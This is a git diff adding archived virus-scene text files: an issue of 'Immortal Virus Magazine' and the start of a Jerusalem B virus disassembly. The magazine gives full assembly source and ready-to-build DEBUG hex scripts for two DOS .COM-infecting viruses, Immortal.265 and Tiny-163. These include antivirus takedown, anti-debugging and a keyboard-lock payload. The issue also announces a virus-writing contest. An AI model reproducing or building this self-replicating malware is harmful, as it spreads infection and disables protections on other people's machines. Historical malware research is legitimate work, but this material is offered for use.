0AB0 3E DA 12 00 75 29 B8 02 3D E8 D8 04 72 21 8B D8 +E 0AC0 8B CF B8 01 43 E8 CC 04 53 2E 8A 16 28 12 B4 32 +E 0AD0 E8 C1 04 8B 47 1E 2E A3 EC 12 5B E8 8E 03 C3 33 +E 0AE0 DB 4B E8 87 03 C3 51 52 50 B8 00 44 E8 A5 04 80 +E 0AF0 F2 80 F6 C2 80 74 09 B8 00 57 E8 97 04 F6 C6 80 +E 0B00 58 5A 59 C3 E8 E8 03 B8 01 42 33 C9 33 D2 E8 83 +E 0B10 04 2E A3 A5 12 2E 89 16 A7 12 B8 02 42 33 C9 33 +E 0B20 D2 E8 70 04 2E A3 A9 12 2E 89 16 AB 12 B8 00 42 +E 0B30 2E 8B 16 A5 12 2E 8B 0E A7 12 E8 57 04 E8 A6 03 +E 0B40 C3 0A C0 75 22 2E 83 26 B3 12 FE E8 85 03 E8 43 +E 0B50 04 72 0B F6 C6 80 74 03 80 EE C8 E9 E1 F8 2E 83 +E 0B60 0E B3 12 01 E9 D8 F8 3C 01 75 37 2E 83 26 B3 12 +E 0B70 FE F6 C6 80 74 03 80 EE C8 E8 6A FF 74 03 80 C6 +E 0B80 C8 E8 10 04 89 46 FC 2E 83 16 B3 12 00 E9 06 F9 +E 0B90 3C 02 75 0E E8 4F FF 74 09 81 6E F6 00 10 83 5E +E 0BA0 F8 00 E9 6A F8 2E 80 26 B3 12 FE E8 38 FF 74 F2 +E 0BB0 2E 89 0E AF 12 2E 89 16 AD 12 2E C7 06 B1 12 00 +E 0BC0 00 E8 40 FF 2E A1 A9 12 2E 8B 16 AB 12 2D 00 10 +E 0BD0 83 DA 00 2E 2B 06 A5 12 2E 1B 16 A7 12 79 08 C7 +E 0BE0 46 FC 00 00 E9 62 FA 75 08 3B C1 77 04 2E A3 AF +E 0BF0 12 2E 8B 16 A5 12 2E 8B 0E A7 12 0B C9 75 05 83 +E 0C00 FA 1C 76 1A 2E 8B 16 AD 12 2E 8B 0E AF 12 B4 3F +E 0C10 E8 81 03 2E 03 06 B1 12 89 46 FC E9 78 F8 8B F2 +E 0C20 8B FA 2E 03 3E AF 12 83 FF 1C 72 04 33 FF EB 05 +E 0C30 83 EF 1C F7 DF 8B C2 2E 8B 0E AB 12 2E 8B 16 A9 +E 0C40 12 83 C2 0F 83 D1 00 83 E2 F0 81 EA FC 0F 83 D9 +E 0C50 00 03 D0 83 D1 00 B8 00 42 E8 38 03 B9 1C 00 2B +E 0C60 CF 2B CE B4 3F 2E 8B 16 AD 12 E8 27 03 2E 01 06 +E 0C70 AD 12 2E 29 06 AF 12 2E 01 06 B1 12 33 C9 BA 1C +E 0C80 00 B8 00 42 E8 0D 03 E9 7A FF 2E 80 26 B3 12 FE +E 0C90 E8 53 FE 75 03 E9 0A FF 2E 89 0E AF 12 2E 89 16 +E 0CA0 AD 12 2E C7 06 B1 12 00 00 E8 58 FE 2E A1 A9 12 +E 0CB0 2E 8B 16 AB 12 2D 00 10 83 DA 00 2E 2B 06 A5 12 +E 0CC0 2E 1B 16 A7 12 78 02 EB 7E E8 FA 00 0E 1F 8B 16 +E 0CD0 A9 12 8B 0E AB 12 83 C2 0F 83 D1 00 83 E2 F0 81 +E 0CE0 EA FC 0F 83 D9 00 B8 00 42 E8 A8 02 BA 04 00 B9 +E 0CF0 1C 00 B4 3F E8 9D 02 B8 00 42 33 C9 8B D1 E8 93 +E 0D00 02 BA 04 00 B9 1C 00 B4 40 E8 88 02 BA 00 F0 B9 +E 0D10 FF FF B8 02 42 E8 7C 02 B4 40 33 C9 E8 75 02 8B +E 0D20 16 A5 12 8B 0E A7 12 B8 00 42 E8 67 02 B8 00 57 +E 0D30 E8 61 02 F6 C6 80 74 09 80 EE C8 B8 01 57 E8 53 +E 0D40 02 E8 28 01 E9 C8 F6 75 07 3B C1 77 03 E9 79 FF +E 0D50 2E 8B 16 A5 12 2E 8B 0E A7 12 0B C9 75 08 83 FA +E 0D60 1C 77 03 E9 63 FF E8 6A 01 E8 28 02 E8 38 01 B8 +E 0D70 00 57 E8 1F 02 F6 C6 80 75 09 80 C6 C8 B8 01 57 +E 0D80 E8 11 02 E9 10 F7 E9 86 F6 2E 8F 06 41 12 2E 8F +E 0D90 06 43 12 2E 8F 06 DB 12 2E 83 26 DB 12 FE 2E 80 +E 0DA0 3E DA 12 00 75 11 2E FF 36 DB 12 2E FF 1E 2D 12 +E 0DB0 73 06 2E FE 06 DA 12 F9 2E FF 2E 41 12 32 C0 2E +E 0DC0 C6 06 DA 12 01 CF 2E C6 06 DA 12 00 E8 20 01 0E +E 0DD0 1F B0 13 E8 BF F3 89 1E 2D 12 8C 06 2F 12 89 1E +E 0DE0 39 12 8C 06 3B 12 B2 00 B0 0D E8 A8 F3 8C C0 3D +E 0DF0 00 C0 73 02 B2 02 B0 0E E8 9A F3 8C C0 3D 00 C0 +E 0E00 73 02 B2 02 88 16 50 12 E8 11 01 8C 16 DD 12 89 +E 0E10 26 DF 12 0E B8 40 0D 50 B8 70 00 8E C0 B9 FF FF +E 0E20 B0 CB 33 FF F2 AE 4F 9C 06 57 9C 58 80 CC 01 50 +E 0E30 E4 21 A2 E5 12 B0 FF E6 21 9D 33 C0 FF 2E 2D 12 +E 0E40 C5 16 31 12 B0 01 E8 53 02 0E 1F BA 89 0C B0 13 +E 0E50 E8 49 02 B0 24 E8 3D F3 89 1E 3D 12 8C 06 3F 12 +E 0E60 BA BD 0C B0 24 E8 34 02 E8 7B 00 C3 E8 80 00 2E +E 0E70 C5 16 39 12 B0 13 E8 23 02 2E C5 16 3D 12 B0 24 +E 0E80 E8 19 02 E8 60 00 C3 B8 00 33 E8 07 01 2E 88 16 +E 0E90 E1 12 B8 01 33 32 D2 E8 FA 00 C3 2E 8A 16 E1 12 +E 0EA0 B8 01 33 E8 EE 00 C3 2E 8F 06 EA 12 9C 50 53 51 +E 0EB0 52 56 57 1E 06 2E FF 26 EA 12 2E C4 3E 35 12 BE +E 0EC0 4B 12 0E 1F FC B9 05 00 AC 26 86 05 88 44 FF 47 +E 0ED0 E2 F6 C3 2E 8F 06 EA 12 07 1F 5F 5E 5A 59 5B 58 +E 0EE0 9D 2E FF 26 EA 12 2E C7 06 5D 13 D3 0D EB 07 2E +E 0EF0 C7 06 5D 13 A7 0D 2E 8C 16 59 13 2E 89 26 57 13 +E 0F00 0E 17 2E 8B 26 5B 13 2E FF 16 5D 13 2E 89 26 5B +E 0F10 13 2E 8E 16 59 13 2E 8B 26 57 13 C3 B0 01 E8 74 +E 0F20 F2 2E 89 1E 31 12 2E 8C 06 33 12 0E 1F BA 23 00 +E 0F30 E8 69 01 C3 E8 03 00 E9 D5 F4 2E 80 3E E2 12 00 +E 0F40 74 48 83 FB FF 75 43 BB 60 01 E8 47 00 72 3B 8C +E 0F50 CA 3B C2 72 09 8E C0 B4 49 E8 38 00 EB 2C 4A 8E +E 0F60 DA C7 06 01 00 00 00 42 8E DA 8E C0 50 2E A3 4E +E 0F70 12 33 F6 8B FE B9 00 0B F3 A5 48 8E C0 2E A1 49 +E 0F80 12 26 A3 01 00 B8 8A 0E 50 CB C3 2E C6 06 F0 12 +E 0F90 02 E9 7B F4 9C 2E FF 1E 35 12 C3 FA 33 C0 8E D0 +E 0FA0 BC 00 7C EB 4F DB DB DB 20 F9 E0 E3 C3 80 81 11 +E 0FB0 12 24 40 81 11 12 24 40 F1 F1 12 24 40 81 21 12 +E 0FC0 24 40 81 10 E3 C3 80 00 00 00 00 00 00 00 00 00 +E 0FD0 00 82 44 F8 70 C0 82 44 80 88 C0 82 44 80 80 C0 +E 0FE0 82 44 F0 70 C0 82 28 80 08 C0 82 28 80 88 00 F2 +E 0FF0 10 F8 70 C0 0E 1F BA 00 B0 B4 0F CD 10 3C 07 74 +E 1000 03 BA 00 B8 8E C2 FC 33 FF B9 D0 07 B8 20 07 F3 +E 1010 AB BE 0E 7C BB AE 02 BD 05 00 8B FB AC 8A F0 B9 +E 1020 08 00 B8 20 07 D1 E2 73 02 B0 DB AB E2 F4 4D 75 +E 1030 EB 81 C3 A0 00 81 FE 59 7C 72 DC B4 01 CD 10 B0 +E 1040 08 BA B9 7C E8 55 00 B8 FE 07 E6 21 FB 33 DB B9 +E 1050 01 00 EB FE 49 75 0B 33 FF 43 E8 0A 00 E8 07 00 +E 1060 B1 04 B0 20 E6 20 CF B9 28 00 E8 26 00 AB AB E2 +E 1070 F9 81 C7 9E 00 B9 17 00 E8 18 00 AB 81 C7 9E 00 +E 1080 E2 F6 FD 80 36 E7 7C 01 80 36 D7 7C 28 80 36 E2 +E 1090 7C 28 C3 83 E3 03 8A 87 0A 7C 43 C3 06 53 33 DB +E 10A0 8E C3 8A D8 D1 E3 D1 E3 26 89 17 26 8C 5F 02 5B +E 10B0 07 C3 E8 11 FD B2 80 E8 08 00 32 D2 E8 03 01 00 +E 10C0 9A 0E 32 08 70 00 33 0E 2E 03 6C 15 03 00 26 00 +E 10D0 00 00 21 00 50 12 65 14 82 08 00 0C 9A 0E 56 07 +E 10E0 70 00 33 0E 2E 03 6C 15 E2 0C 1E 93 00 00 E2 0C +E 10F0 50 E9 68 02 +RCX +0FF4 +W +Q +-------------------------------------------------------------------------- +By: [Hacking Hell]------------------------------Immortal Virus Magazine-------------------------- +-----------------------------------Issue 95.1---------------------------------- +----------------------------------Immortal.265--------------------------------- + +This is our real self made virus, we created another before, but that was + a modified version of RIOT.144 (Tnx Immortal RIOT!). + +Immortal.265 is a 265 byte virus, non-tsr, appending, .COM infector, + with anti-trace, 13% chance on a keyboard lock, Anti-TBAV, VSafe takedown, + 50% chance on a mezzie, 5 infections per run, non-encrypting, not traversal. + + Compile with A86 or TASM/TLINK! + +-------------------------------------------------------------------------- +%OUT iMMoRTaL.265 virus by Immortal EAS. +%OUT Little parasatic non-tsr appending virus. Features: +%OUT + Anti-tracing meganism +%OUT + 13% chance on a keyboard lock +%OUT + 50% chance on a little message +%OUT + Quick spreading routine, 5 infects per run +%OUT AV Fool techniques: +%OUT + VSafe takedown (!!) +%OUT + Simple but working version to get Delta Offset ("E?!?") +%OUT + Z.COM filespec will be changed to *.COM ("S") +%OUT + "F" simply does not appear (!?!) +%OUT btw. TBAV heuristic scan "G" disappears after infection!?! + +.model tiny +.code + + ORG 100h ;COM file remember?!? + +start: push bx ;Some junk to fool TBAV + pop ax + + mov ax,0fa01h ;Let's take down MSAV!!! + mov dx,05945h + int 16h + + call getdlt ;Nice way to get delta offset! +realst: +getdlt: pop bp + sub bp, offset getdlt + +codest: lea si,[orgbts+bp] ;Restore first 4 bytes + mov di,0100h + movsw + movsw + + push cs ;DS <==> CS + pop ds + + lea dx,[eov+bp] ;Set DTA address + mov ah,1ah + int 21h + + mov al,01h ;Detect INT 1 trace... + mov ah,35h + int 21h + push es + pop ax + cmp ax,70h ;Default segment INT 1 & 3 + jne lockkb + + mov al,03h ;Detect INT 3 trace... + mov ah,35h + int 21h + push es + pop ax + cmp ax,70h ;Default segment INT 1 & 3 + jne lockkb + + mov ah,2ch ;13% chance to lock keyboard! + int 21h + cmp dl, 0dh + jg nolock + +lockkb: mov al,82h ;Actual keyboard lock! + out 21h,al + +nolock: mov ah,2ch ;50% chance to print message! + int 21h + cmp dl,32h + jl spread + + mov ah,09h ;Bingo! print message! + lea dx, [bp+offset welcome] + int 21h + mov ah,00h ;Wait for a key! + int 16h + jmp spread + +welcome db 'iMMoRTaL.263!!',07h,0ah,0dh,'$';Ever seen a DB in the middle of a file? + +spread: mov ah,4eh ;Findfirst + lea dx,[fspec+bp] ;Filespec=*.COM + + mov byte ptr [infcnt+bp],0 +fnext: add byte ptr [infcnt+bp],1 + cmp byte ptr [infcnt+bp],6 + je re_dta + + mov byte ptr [fspec+bp],'*' + int 21h + jc re_dta ;No files found + mov byte ptr [fspec+bp],'z' + lea dx,[eov+1eh+bp] ;Open file + mov ax,3d02h + int 21h + + jc nextf ;Error opening file, next! + + xchg bx,ax + + mov cx,0004h ;Read first 4 bytes for check + mov ah,3fh ; if already infected! + lea dx,[orgbts+bp] + int 21h + + cmp byte ptr [orgbts+bp+3],'I' ;Already infected + jz shutit + + mov ax,4202h ;Goto eof + sub cx,cx ;2 byte version of mov cx,0!! + cwd ;1 byte version of mov dx,0!! + int 21h + + sub ax,0003h ;Use our jmp table + mov word ptr [bp+jmptbl+1],ax + + mov ah,40h ;Implend our viral code into victim + mov cx,eov-start + lea dx,[bp+start] + int 21h + + mov ax,4200h ;Goto SOF + sub cx,cx + cwd + int 21h + + mov ah,40h ;Write first four bytes over + mov cx,0004h ; the original + lea dx,[bp+jmptbl] + int 21h + +shutit: mov ah,3eh ;Close victim + int 21h + +nextf: mov ah,4fh ;Find next file + jmp fnext + +re_dta: mov ah,1ah ;Reset DTA + mov dx,0080h + int 21h + + mov di,0100h ;Return control to original file! + push di + ret + + +fspec db 'z.com',0 +infcnt db 0 +jmptbl db 0e9h,00h,00h,'I' +orgbts: db 90h,90h,90h,90h +eov: +end start +-------------------------------------------------------------------------- +N IMM-265.COM +E 0100 E9 02 00 49 C3 53 58 B8 01 FA BA 45 59 CD 16 E8 +E 0110 00 00 5D 81 ED 0D 01 8D B6 05 02 BF 00 01 A5 A5 +E 0120 0E 1F 8D 96 09 02 B4 1A CD 21 B0 01 B4 35 CD 21 +E 0130 06 58 3D 70 00 75 16 B0 03 B4 35 CD 21 06 58 3D +E 0140 70 00 75 09 B4 2C CD 21 80 FA 0D 7F 04 B0 82 E6 +E 0150 21 B4 2C CD 21 80 FA 32 7C 21 B4 09 8D 96 64 01 +E 0160 CD 21 B4 00 CD 16 EB 13 90 69 4D 4D 6F 52 54 61 +E 0170 4C 2E 32 36 33 21 21 07 0A 0D 24 B4 4E 8D 96 FA +E 0180 01 C6 86 00 02 00 80 86 00 02 01 80 BE 00 02 06 +E 0190 74 61 C6 86 FA 01 2A CD 21 72 58 C6 86 FA 01 7A +E 01A0 8D 96 27 02 B8 02 3D CD 21 72 44 93 B9 04 00 B4 +E 01B0 3F 8D 96 05 02 CD 21 80 BE 08 02 49 74 2D B8 02 +E 01C0 42 2B C9 99 CD 21 2D 03 00 89 86 02 02 B4 40 B9 +E 01D0 09 01 8D 96 00 01 CD 21 B8 00 42 2B C9 99 CD 21 +E 01E0 B4 40 B9 04 00 8D 96 01 02 CD 21 B4 3E CD 21 B4 +E 01F0 4F EB 93 B4 1A BA 80 00 CD 21 BF 00 01 57 C3 7A +E 0200 2E 63 6F 6D 00 00 E9 00 00 49 90 90 90 90 +RCX +010E +W +Q +-------------------------------------------------------------------------- +By: [Hacking Hell]!------------------------------Immortal Virus Magazine-------------------------- +-----------------------------------Issue 95.1---------------------------------- +------------------------------------Tiny-163----------------------------------- + +This is a very old virus, it also is very small and very easy to detect, + it is .COM infector, non-encrypting, non-tsr, non-payloaded, in fact, + it does nothing but infecting, I think it's somebodies first virus or + something. + + Compile with A86 or TASM/TLINK! + +-------------------------------------------------------------------------- +.Model Tiny +.Code + +data_2e equ 1ABh ;start of virus + +seg_a segment byte public ; + assume cs:seg_a, ds:seg_a ;assume cs, ds - code + + + org 100h ;orgin of all COM files +s proc far + +start: + jmp loc_1 ;jump to virus + + +;this is a replacement for an infected file + + db 0CDh, 20h, 7, 8, 9 ;int 20h + ;pop es + +loc_1: + call sub_1 ; + + + +s endp + + +sub_1 proc near ; + pop si ;locate all virus code via + sub si,10Bh ;si, cause all offsets will + mov bp,data_1[si] ;change when virus infects + add bp,103h ;a COM file + lea dx,[si+1A2h] ;offset of '*.COM',0 - via SI + xor cx,cx ;clear cx - find only normal + ;attributes + mov ah,4Eh ;find first file +loc_2: + int 21h ; + + jc loc_6 ;no files found? then quit + mov dx,9Eh ;offset of filename found + mov ax,3D02h ;open file for read/write access + int 21h ; + + mov bx,ax ;save handle into bx + mov ah,3Fh ;read from file + lea dx,[si+1A8h] ;offset of save buffer + mov di,dx ; + mov cx,3 ;read three bytes + int 21h ; + + cmp byte ptr [di],0E9h ;compare buffer to virus id + ;string + je loc_4 ; +loc_3: + mov ah,4Fh ;find the next file + jmp short loc_2 ;and test it +loc_4: + mov dx,[di+1] ;lsh of offset + mov data_1[si],dx ; + xor cx,cx ;msh of offset + mov ax,4200h ;set the file pointer + int 21h ; + + mov dx,di ;buffer to save read + mov cx,2 ;read two bytes + mov ah,3Fh ;read from file + int 21h ; + + cmp word ptr [di],807h ;compare buffer to virus id + je loc_3 ;same? then find another file + +;heres where we infect a file + + xor dx,dx ;set file pointer + xor cx,cx ;ditto + mov ax,4202h ;set file pointer + int 21h ; + + cmp dx,0 ;returns msh + jne loc_3 ;not the same? find another file + cmp ah,0FEh ;lsh = 254??? + jae loc_3 ;if more or equal find another file + + mov ds:data_2e[si],ax ;point to data + mov ah,40h ;write to file + lea dx,[si+105h] ;segment:offset of write buffer + mov cx,0A3h ;write 163 bytes + int 21h ; + + jc loc_5 ;error? then quit + mov ax,4200h ;set file pointer + xor cx,cx ;to the top of the file + mov dx,1 ; + int 21h ; + + mov ah,40h ;write to file + lea dx,[si+1ABh] ;offset of jump to virus code + mov cx,2 ;two bytes + int 21h ; + +;now close the file + +loc_5: + mov ah,3Eh ;close file + int 21h ; + +loc_6: + jmp bp ;jump to original file + +data_1 dw 0 ; + db '*.COM',0 ;wild card search string + + +sub_1 endp +seg_a ends + end start +-------------------------------------------------------------------------- +N TINY-163.COM +E 0100 EB 06 90 CD 20 07 08 09 E8 00 00 5E 81 EE 0B 01 +E 0110 8B AC A0 01 81 C5 03 01 8D 94 A2 01 33 C9 B4 4E +E 0120 CD 21 72 7A BA 9E 00 B8 02 3D CD 21 8B D8 B4 3F +E 0130 8D 94 A8 01 8B FA B9 03 00 CD 21 80 3D E9 74 04 +E 0140 B4 4F EB DC 8B 55 01 89 94 A0 01 33 C9 B8 00 42 +E 0150 CD 21 8B D7 B9 02 00 B4 3F CD 21 81 3D 07 08 74 +E 0160 DF 33 D2 33 C9 B8 02 42 CD 21 83 FA 00 75 D1 80 +E 0170 FC FE 73 CC 89 84 AB 01 B4 40 8D 94 05 01 B9 A3 +E 0180 00 CD 21 72 15 B8 00 42 33 C9 BA 01 00 CD 21 B4 +E 0190 40 8D 94 AB 01 B9 02 00 CD 21 B4 3E CD 21 FF E5 +E 01A0 00 00 2A 2E 43 4F 4D 00 +RCX +00A8 +W +Q +-------------------------------------------------------------------------- +By: [Hacking Hell]!------------------------------Immortal Virus Magazine-------------------------- +-----------------------------------Issue 95.1---------------------------------- +-------------------------------------Contest----------------------------------- + + +Now everybody look at this: We start a virus writing contest. + + Rules: + Your Virus must be smaller than 1k, it must be appending, minimally one (1) + Payload, original ideas (no mutations), assembly source must be included, + and .COM infections. + + Options: + Stealth + Cloaking + Built-in trojan + more payloads + Traverse + TSR + TBAV hide + etc. + + Send it to our WHQ: Arrested Development (+31 77 547477), User: + Hacking Hell / Cyborg / Android / Arnie II / Foxman.... + + +By: [Cyborg], typed by [Hacking Hell] on his computer due incompatible + keyboard... (His computer was busy with leeching) +------------------------------Immortal Virus Magazine-------------------------- +-----------------------------------Issue 95.1---------------------------------- +-------------------------------------Contact----------------------------------- + +So, you wanna contact us (why else would you read this boring stuff!). + +You can contact us at our WHQ: Arrested Development (+31 77 547477), + mail something to Hacking Hell, Cyborg, Android, Arnie II or FoxMan. + +We also will soon have a E-Mail address (UNKNOWN YET!)!! COOL! (This was a + butthead break-in!). + +If you wanna become a member and you can program h/p/a/v or you have Internet + please leave a mezzie to Hacking Hell or Cyborg (NOT to the other guyz!) + +We need some (very) good hacking / phreaking / anarchism / virus writer(s), + we would especially like a female virus-writer! I don't know any yet, mail + me and wake me up! + + [Cyborg Interrupts] + Oh,no, he is searching for a [HACKING HELL: GET LOST CYBORG, WHAT'S WRONG + ABOUT A FEMALE IN OUR GROUP?!?] + Nothing's wrong withj it, I was just a lil' childish and making a joke!! + You may proceed, my good Earthling... + + [HACKING HELL BACK AGAIN] + +Cyborg, please stop discriminating the female race! Cyborg, don't touch this + keyboard! It's mine! Mine! Mine! Let me go!!!! BANG! That was my shotgun... + Shit, missed! Cyborg, next time you touch me, I will destroy you, I + programmed you, I can also eliminate you! + + [Cyborg Interrupts again.] + + Well, One: I did not discriminate anyone, and TWO, you cannot fight a Cyborg, + You may have programmed me, but you do not control me and you never will. + DataBank Reports:" To Control: to have the power to destroy." + Now, for you know that, you might proceed, if you know the magic word: + Ah, ah, ah, you didn't say the magic word, ah, ah, ah,......NO CARRIER + + [HACKING HELL BACK AGAIN] +WATCH ME! I will destroy you in a jiffy! And now for real: No Carrier... + +By: [Hacking Hell: On my own computer] and [Cyborg: Also on my computer!]... diff --git a/textfiles.com/virus/jeru-b.asm b/textfiles.com/virus/jeru-b.asm new file mode 100644 index 00000000..556a184d --- /dev/null +++ b/textfiles.com/virus/jeru-b.asm @@ -0,0 +1,794 @@ +This is the Jerusalem B Virus. +"JV.MOC" PAGE 0001 + +0000:0000 E99200 JMP X0095 +0000:0003 7355 JAE X005A +0000:0005 4D DEC BP +0000:0006 7344 JAE X004C +0000:0008 6F73 JG X007D +0000:000A 0001 ADD [BX+DI],AL +0000:000C BD1700 MOV BP,0017H +0000:000F 0000 ADD [BX+SI],AL +0000:0011 06 PUSH ES +0000:0012 00A5FE00 ADD [DI+Y00FEH],AH +0000:0016 F016 LOCK PUSH SS +0000:0018 17 POP SS +0000:0019 7702 JA X001D +0000:001B BF053D MOV DI,03D05H +0000:001E 0CFB OR AL,0FBH +0000:0020 7D00 JGE X0022 +0000:0022 0000 X0022: ADD [BX+SI],AL +0000:0024 0000 ADD [BX+SI],AL +0000:0026 0000 ADD [BX+SI],AL +0000:0028 0000 ADD [BX+SI],AL +0000:002A 0000 ADD [BX+SI],AL +0000:002C 0000 ADD [BX+SI],AL +0000:002E E8062A CALL X2A37 +0000:0031 B10D MOV CL,0DH +0000:0033 800000 ADD BYTE PTR [BX+SI],00H +0000:0036 008000B1 ADD [BX+SI+Y0B100H],AL +0000:003A 0D5C00 OR AX,005CH +0000:003D B10D MOV CL,0DH +0000:003F 6C00 JL X0041 +0000:0041 B10D X0041: MOV CL,0DH +0000:0043 0004 ADD [SI],AL +0000:0045 5F POP DI +0000:0046 0F POP CS +0000:0047 B400 MOV AH,00H +0000:0049 C1 RET ; INTRASEGMENT +0000:004A 0D00F0 X004A: OR AX,0F000H +0000:004D 06 PUSH ES +0000:004E 004D5A ADD [DI+05AH],CL +0000:0051 2000 AND [BX+SI],AL +0000:0053 1000 ADC [BX+SI],AL +0000:0055 1900 SBB [BX+SI],AX +0000:0057 0800 OR [BX+SI],AL +0000:0059 7500 JNZ X005B +0000:005B 7500 X005B: JNZ X005D +0000:005D 6901 X005D: JNS X0060 +0000:005F 1007 ADC [BX],AL +0000:0061 8419 TEST BL,[BX+DI] +0000:0063 C500 LDS AX,[BX+SI] +0000:0065 6901 JNS X0068 +0000:0067 1C00 SBB AL,00H +0000:0069 0000 ADD [BX+SI],AL +0000:006B 4C X006B: DEC SP +0000:006C B000 MOV AL,00H +0000:006E CD21 INT 021H +0000:0070 050020 ADD AX,02000H +0000:0073 0037 ADD [BX],DH + +"JV.MOC" PAGE 0002 + +0000:0075 121C ADC BL,[SI] +0000:0077 0100 ADD [BX+SI],AX +0000:0079 0210 ADD DL,[BX+SI] +0000:007B 0010 ADD [BX+SI],DL +0000:007D 17 X007D: POP SS +0000:007E 0000 ADD [BX+SI],AL +0000:0080 53 PUSH BX +0000:0081 61E8 JNO X006B +0000:0083 38434F CMP [BP+DI+04FH],AL +0000:0086 4D DEC BP +0000:0087 4D DEC BP +0000:0088 41 INC CX +0000:0089 4E DEC SI +0000:008A 44 INC SP +0000:008B 2E43 INC BX +0000:008D 4F DEC DI +0000:008E 4D DEC BP +0000:008F 0100 ADD [BX+SI],AX +0000:0091 0000 ADD [BX+SI],AL +0000:0093 0000 ADD [BX+SI],AL +0000:0095 FC X0095: CLD +0000:0096 B4E0 MOV AH,0E0H +0000:0098 CD21 INT 021H +0000:009A 80FCE0 CMP AH,0E0H +0000:009D 7316 JAE X00B5 +0000:009F 80FC03 CMP AH,03H +0000:00A2 7211 JB X00B5 +0000:00A4 B4DD MOV AH,0DDH +0000:00A6 BF0001 MOV DI,0100H +0000:00A9 BE1007 MOV SI,0710H +0000:00AC 03F7 ADD SI,DI +0000:00AE 2E8B8D1100 MOV CX,CS:[DI+Y0011H] +0000:00B3 CD21 INT 021H +0000:00B5 8CC8 X00B5: MOV AX,CS +0000:00B7 051000 ADD AX,0010H +0000:00BA 8ED0 MOV SS,AX +0000:00BC BC0007 MOV SP,0700H +0000:00BF 50 PUSH AX +0000:00C0 B8C500 MOV AX,00C5H +0000:00C3 50 PUSH AX +0000:00C4 CB RET ; INTERSEGMENT +0000:00C5 FC X00C5: CLD +0000:00C6 06 PUSH ES +0000:00C7 2E8C063100 MOV CS:[Y0031H],ES +0000:00CC 2E8C063900 MOV CS:[Y0039H],ES +0000:00D1 2E8C063D00 MOV CS:[Y003DH],ES +0000:00D6 2E8C064100 MOV CS:[Y0041H],ES +0000:00DB 8CC0 MOV AX,ES +0000:00DD 051000 ADD AX,0010H +0000:00E0 2E01064900 ADD CS:[Y0049H],AX +0000:00E5 2E01064500 ADD CS:[Y0045H],AX +0000:00EA B4E0 MOV AH,0E0H +0000:00EC CD21 INT 021H +0000:00EE 80FCE0 CMP AH,0E0H +0000:00F1 7313 JAE X0106 +0000:00F3 80FC03 CMP AH,03H + +"JV.MOC" PAGE 0003 + +0000:00F6 07 POP ES +0000:00F7 2E8E164500 MOV SS,CS:[Y0045H] +0000:00FC 2E8B264300 MOV SP,CS:[Y0043H] +0000:0101 2EFF2E4700 JMP CS:[Y0047H] +0000:0106 33C0 X0106: XOR AX,AX +0000:0108 8EC0 MOV ES,AX +0000:010A 26A1FC03 MOV AX,ES:Y03FCH +0000:010E 2EA34B00 MOV CS:Y004BH,AX +0000:0112 26A0FE03 MOV AL,ES:Y03FEH +0000:0116 2EA24D00 MOV CS:Y004DH,AL +0000:011A 26C706FC03F3A5 MOV WORD PTR ES:[Y03FCH],0A5F3H +0000:0121 26C606FE03CB MOV BYTE PTR ES:[Y03FEH],0CBH +0000:0127 58 POP AX +0000:0128 051000 ADD AX,0010H +0000:012B 8EC0 MOV ES,AX +0000:012D 0E PUSH CS +0000:012E 1F POP DS +0000:012F B91007 MOV CX,0710H +0000:0132 D1E9 SHR CX,1 +0000:0134 33F6 XOR SI,SI +0000:0136 8BFE MOV DI,SI +0000:0138 06 PUSH ES +0000:0139 B84201 MOV AX,0142H +0000:013C 50 PUSH AX +0000:013D EAFC030000 JMP X0000_03FC +0000:0142 8CC8 MOV AX,CS +0000:0144 8ED0 MOV SS,AX +0000:0146 BC0007 MOV SP,0700H +0000:0149 33C0 XOR AX,AX +0000:014B 8ED8 MOV DS,AX +0000:014D 2EA14B00 MOV AX,CS:Y004BH +0000:0151 A3FC03 MOV Y03FCH,AX +0000:0154 2EA04D00 MOV AL,CS:Y004DH +0000:0158 A2FE03 MOV Y03FEH,AL +0000:015B 8BDC MOV BX,SP +0000:015D B104 MOV CL,04H +0000:015F D3EB SHR BX,CL +0000:0161 83C310 ADD BX,0010H +0000:0164 2E891E3300 MOV CS:[Y0033H],BX +0000:0169 B44A MOV AH,04AH +0000:016B 2E8E063100 MOV ES,CS:[Y0031H] +0000:0170 CD21 INT 021H +0000:0172 B82135 MOV AX,03521H +0000:0175 CD21 INT 021H +0000:0177 2E891E1700 MOV CS:[Y0017H],BX +0000:017C 2E8C061900 MOV CS:[Y0019H],ES +0000:0181 0E PUSH CS +0000:0182 1F POP DS +0000:0183 BA5B02 MOV DX,025BH +0000:0186 B82125 MOV AX,02521H +0000:0189 CD21 INT 021H +0000:018B 8E063100 MOV ES,[Y0031H] +0000:018F 268E062C00 MOV ES,ES:[Y002CH] +0000:0194 33FF XOR DI,DI +0000:0196 B9FF7F MOV CX,07FFFH +0000:0199 32C0 XOR AL,AL + +"JV.MOC" PAGE 0004 + +0000:019B F2AE X019B: REPNE SCASB +0000:019D 263805 CMP ES:[DI],AL +0000:01A0 E0F9 LOOPNZ X019B +0000:01A2 8BD7 MOV DX,DI +0000:01A4 83C203 ADD DX,0003H +0000:01A7 B8004B MOV AX,04B00H +0000:01AA 06 PUSH ES +0000:01AB 1F POP DS +0000:01AC 0E PUSH CS +0000:01AD 07 POP ES +0000:01AE BB3500 MOV BX,0035H +0000:01B1 1E PUSH DS +0000:01B2 06 PUSH ES +0000:01B3 50 PUSH AX +0000:01B4 53 PUSH BX +0000:01B5 51 PUSH CX +0000:01B6 52 PUSH DX +0000:01B7 B42A MOV AH,02AH +0000:01B9 CD21 INT 021H +0000:01BB 2EC6060E0000 MOV BYTE PTR CS:[Y000EH],00H +0000:01C1 81F9C307 CMP CX,07C3H +0000:01C5 7430 JZ X01F7 +0000:01C7 3C05 CMP AL,05H +0000:01C9 750D JNZ X01D8 +0000:01CB 80FA0D CMP DL,0DH +0000:01CE 7508 JNZ X01D8 +0000:01D0 2EFE060E00 INC BYTE PTR CS:[Y000EH] +0000:01D5 EB20 JMP X01F7 +0000:01D7 90 NOP +0000:01D8 B80835 X01D8: MOV AX,03508H +0000:01DB CD21 INT 021H +0000:01DD 2E891E1300 MOV CS:[Y0013H],BX +0000:01E2 2E8C061500 MOV CS:[Y0015H],ES +0000:01E7 0E PUSH CS +0000:01E8 1F POP DS +0000:01E9 C7061F00907E MOV WORD PTR [Y001FH],07E90H +0000:01EF B80825 MOV AX,02508H +0000:01F2 BA1E02 MOV DX,021EH +0000:01F5 CD21 INT 021H +0000:01F7 5A X01F7: POP DX +0000:01F8 59 POP CX +0000:01F9 5B POP BX +0000:01FA 58 POP AX +0000:01FB 07 POP ES 